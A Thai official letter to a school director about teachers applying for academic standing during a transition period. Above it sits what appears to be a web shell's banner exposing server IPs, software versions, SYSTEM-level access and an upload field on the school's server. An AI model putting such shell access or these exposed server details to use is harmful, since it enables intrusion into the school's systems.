| Server IP : 172.67.187.206 / Your IP : 162.159.115.42 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> ตามหนังสือที่อ้างถึง 1 สำนักงาน ก.ค.ศ. ได้แจ้งหลักเกณฑ์และวิธีการประเมินตำแหน่งและ วิทยฐานะข้าราชการครูและบุคลากรทางการศึกษา ตำแหน่งครู ให้ส่วนราชการและหน่วยงานการศึกษาทราบและถือปฏิบัติ ต่อมาส่วนราชการและหน่วยงานการศึกษาได้มีหนังสือหารือ ก.ค.ศ.เกี่ยวกับแนวปฏิบัติการ ดำเนินการขอมีวิทยฐานะและเลื่อนวิทยฐานะในช่วงระยะเวลาเปลี่ยนผ่าน ตามที่กำหนดไว้ในข้อ 3.1 หมวด 5 ว่ากรณีข้าราชการครูและบุคลากรทางการศึกษาที่ได้รับการบรรจุและแต่งตั้งเข้ารับราชการเป็นข้าราชการครู และบุคลากรทางการศึกษา ตำแหน่งครูผู้ช่วย ก่อนวันที่ 5 กรกฎาคม 2560 ผ่านการเตรียมความพร้อมและพัฒนาอย่างเข้มตามที่ ก.ค.ศ.กำหนด และได้รับการแต่งตั้งให้ดำรงตำแหน่งครู ตั้งแต่วันที่ 5 กรกฎาคม 2560 ซึ่งมีคุณสมบัติครบถ้วน ตามหนังสือที่อ้างถึง 2 และยังไม่เคยขอมีวิทยฐานะครูชำนาญการ ในช่วงระยะเวลาเปลี่ยนผ่าน ตามหนังสือที่อ้างถึง 3 จะสามารถยื่นคำขอ ตามหนังสือที่อ้างถึง 2 ในช่วงระยะเวลาเปลี่ยนผ่าน ตามที่กำหนดไว้ในข้อ 3.1 ของหมวด 5 ตามหนังสือที่อ้างถึง 1 ได้หรือไม่ นั้น</p> <p> สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน แจ้งว่า ก.ค.ศ.มีมติกำหนดแนวทางปฏิบัติการดำเนินการกรณีข้าราชการครูและบุคลากรทางการศึกษาที่ได้รับการบรรจุและแต่งตั้งให้ดำรงตำแหน่งครูผู้ช่วย ก่อนวันที่ 5 กรกฎาคม 2560 ผ่านการเตรียมความพร้อมและพัฒนาอย่างเข้ม ตามที่ ก.ค.ศ.กำหนด และได้รับการแต่งตั้งให้ดำรงตำแหน่งครู ตั้งแต่วันที่ 5 กรกฎาคม 2560 ซึ่งมีคุณสมบัติ ในการยื่นคำขอมีวิทยฐานะครูชำนาญการ ตามหนังสือที่อ้างถึง 2 ในช่วงระยะเวลาเปลี่ยนผ่าน ตามหนังสือที่อ้างถึง 3 ให้สามารถขอมีวิทยฐานะครูชำนาญการ ตามหนังสือที่อ้างถึง 2 ในช่วงระยะเวลาเปลี่ยนผ่าน ที่กำหนดไว้ในข้อ 3.1 ของหมวด 5 ตามหนังสือที่อ้างถึง 1 ได้ ภายในวันที่ 30 กันยายน 2565 รายละเอียดตามสิ่งที่ส่งมาด้วย</p> <p> จึงเรียนมาเพื่อทราบและถือปฏิบัติ </p>